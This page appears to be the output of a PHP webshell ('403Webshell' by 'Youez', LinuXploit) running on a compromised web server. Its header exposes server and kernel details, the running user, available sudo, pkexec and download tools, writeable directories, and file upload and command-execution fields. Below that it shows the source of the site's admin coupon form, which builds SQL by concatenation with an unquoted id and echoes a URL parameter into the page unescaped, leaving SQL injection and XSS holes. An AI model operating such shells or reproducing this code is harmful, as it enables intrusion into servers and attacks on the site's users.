403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/admin/mod/coupon_form.php
<!DOCTYPE html>
<?php
	include('_form_header.php');
	$form_error = 0;
	$form_text_key_error = '';
	//echo 'Submitted '.$_POST['Submitted'];
	//exit();
	if ($_POST['Submitted'] == '1')
	{
		$form_id = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['id']));
		$form_sku = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['sku']));
		$form_reg_price = mysqli_real_escape_string($GLOBALS['con'], nzfloat(trim($_POST['reg_price']), 0.00));
		$form_code = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['code']));
		$form_type = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['type']));
		$form_value = mysqli_real_escape_string($GLOBALS['con'], nzfloat(trim($_POST['value']), 0.00));
		$form_expires = mysqli_real_escape_string($GLOBALS['con'], nzdate(trim($_POST['expires']), '1980-01-01'));
		$form_limited_use = mysqli_real_escape_string($GLOBALS['con'], nz(trim($_POST['limited_use']), 0));
		$form_uses_left = mysqli_real_escape_string($GLOBALS['con'], nz(trim($_POST['uses_left']), 0));
		if ($form_sku == '')
		{
			$form_error = 1;
			$form_sku_error = 'SKU is required!';
		}
		if ($form_reg_price <= 0)
		{
			$form_error = 1;
			$form_reg_price_error = 'Regular price is required!';
		}
		if ($form_code == '')
		{
			$form_error = 1;
			$form_code_error = 'Code is required!';
		}
		if ($form_type == '')
		{
			$form_error = 1;
			$form_type_error = 'Type is required!';
		}
		if ($form_value == '')
		{
			$form_error = 1;
			$form_value_error = 'Value is required!';
		}
		if ($form_expires == '')
		{
			$form_error = 1;
			$form_expires_error = 'Expiration is required!';
		}
		if ($form_error != 1)
		{
			if ($_GET['ACTION'] == 'edit')
			{
				$sql = "UPDATE promo_codes 
						SET sku = '".$form_sku."'".
							",reg_price = ".$form_reg_price." ".
							",code = '".$form_code."'".
							",type = '".$form_type."'".
							",value = ".$form_value." ".
							",expires = '".$form_expires."' ".
							",limited_use = ".$form_limited_use." ".
							",uses_left = ".$form_uses_left." ".
						"WHERE id = ".$form_id;
				mysqli_query($GLOBALS['con'], $sql);
			}
			else
			{
				$sql = "INSERT INTO promo_codes (sku, reg_price, code, type, value, expires, limited_use, uses_left) VALUES (".
							"'".$form_sku."'".
							",".$form_reg_price." ".
							",'".$form_code."'".
							",'".$form_type."'".
							",".$form_value." ".
							",'".$form_expires."' ".
							",".$form_limited_use." ".
							",".$form_uses_left." )";
				mysqli_query($GLOBALS['con'], $sql);
			}
			if (mysqli_error($GLOBALS['con']) != '')
				echo 'SQL:  '.$sql.'<BR />Database Error - '.mysqli_error($GLOBALS['con']).'<BR />';
			else
			{
				echo 'Update successful';
				echo "<SCRIPT>";
				echo "window.parent.location.href = window.parent.location.href;";
				echo "</SCRIPT>";
			}
			exit();
		}
	}
	else
	{
		if ($_GET['ACTION'] == 'edit')
		{
			$key_id = mysqli_real_escape_string($GLOBALS['con'], trim($_GET['KEYID']));
			$sql = "SELECT * FROM promo_codes WHERE id = ".$key_id;
			$result = mysqli_query($GLOBALS['con'], $sql);
			if (mysqli_num_rows($result) < 1)
				die('Database error!  Record not found, Key ID:  '.$key_id);
			$row = mysqli_fetch_array($result);
			$form_id = $row['id'];
			$form_sku = $row['sku'];
			$form_reg_price = $row['reg_price'];
			$form_code = $row['code'];
			$form_type = $row['type'];
			$form_value = $row['value'];
			$form_expires = $row['expires'];
			$form_limited_use = $row['limited_use'];
			$form_uses_left = $row['uses_left'];
		}
		else
		{
			$form_id = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['id']));
			$form_sku = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['sku']));
			$form_reg_price = mysqli_real_escape_string($GLOBALS['con'], nzfloat(trim($_POST['reg_price']), 0.00));
			$form_code = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['code']));
			$form_type = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['type']));
			$form_value = mysqli_real_escape_string($GLOBALS['con'], nzfloat(trim($_POST['value']), 0.00));
			$form_expires = mysqli_real_escape_string($GLOBALS['con'], nzdate(trim($_POST['expires']), '1980-01-01'));
			$form_limited_use = mysqli_real_escape_string($GLOBALS['con'], nz(trim($_POST['limited_use']), 0));
			$form_uses_left = mysqli_real_escape_string($GLOBALS['con'], nz(trim($_POST['uses_left']), 0));
		}
	}
?>

<div class="form-header">
	Text record detail - <?php echo $_GET['ACTION'] ?>
</div>

<form name="frmDetail" id="frmDetail" method="post" action="coupon_form.php?ACTION=<?php echo $_GET['ACTION'] ?>" >
	<input type="hidden" id="Submitted" name="Submitted" value="1"  >
	<input name="id" id="id" value="<?php echo $form_id; ?>" type="hidden">
	<table border="0" cellspacing="3" cellpadding="0" style="text-align:left;" >
		<tr>
			<td>
				<div style="width:120px;">
				</div>
			</td>
			<td>
				<div style="width:390px;">
				</div>
			</td>
			<td>
				<div style="width:180px;">
				</div>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				SKU:
			</td>
			<td>
				<input type="text" id="sku" name="sku" value="<?php echo $form_sku; ?>" class="input-box" style="width:300px;" size="75" maxlength="25" />
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_sku_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Code:
			</td>
			<td>
				<input type="text" id="code" name="code" value="<?php echo $form_code; ?>" class="input-box" style="width:150px;" size="75" maxlength="25" />
				<?php
					$random_code = strval(time() - 1261440000); 
					//$random_code = strval(time() - 1807920000); 
					$random_code = substr($random_code, 0, 3).'-'.substr($random_code, 3, 3).'-'.substr($random_code, 6);
					
				?>
				<input type="hidden" id="random_code" value="<?php echo $random_code; ?>" />
				<input type="button" value="Generate unique code" onclick="$('#code').val($('#random_code').val());"  />
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_code_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Regular Price:
			</td>
			<td>
				<input type="text" id="reg_price" name="reg_price" value="<?php echo $form_reg_price; ?>" class="input-box" style="width:300px;" size="75" maxlength="25" />
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_reg_price_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Type:
			</td>
			<td>
				<input type="radio" <?php if ($form_type == 'amt_off') echo 'checked="checked"'; ?> value="amt_off" name="type" id="type_amt_off" />Amount off
    			<br />
				<input type="radio" <?php if ($form_type == 'pct_off') echo 'checked="checked"'; ?> value="pct_off" name="type" id="type_pct_off" />Percent off
    			<br />
				<input type="radio" <?php if ($form_type == 'amt_sale') echo 'checked="checked"'; ?> value="amt_sale" name="type" id="type_amt_sale" />Sale amount
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_type_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Value:
			</td>
			<td>
				<input type="text" id="value" name="value" value="<?php echo $form_value; ?>" class="input-box" style="width:300px;" size="75" maxlength="25" />
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_value_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Expires:
			</td>
			<td>
				<input type="text" id="expires" name="expires" value="<?php echo $form_expires; ?>" class="input-box" style="width:300px;" size="75" maxlength="25" />
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_expires_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Limited Use:
			</td>
			<td>
				<input type="checkbox" <?php if ($form_limited_use == 1) echo 'checked="checked"'; ?> value="1" name="limited_use" id="limited_use" />
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_limited_use_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Uses Left:
			</td>
			<td>
				<input type="text" id="uses_left" name="uses_left" value="<?php echo $form_uses_left; ?>" class="input-box" style="width:300px;" size="75" maxlength="25" />
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_uses_left_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td colspan="3" align="center">
				<br />
				<input type="submit" name="btnSubmit" value="Save" class="default-button" >
				&nbsp;&nbsp;&nbsp;
				<input type="button" name="btnCancel" value="Cancel" class="default-button" onClick="resetForm();" />
				<br />
			</td>
		</tr>
	</table>
</form>

<?php include('_form_footer.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit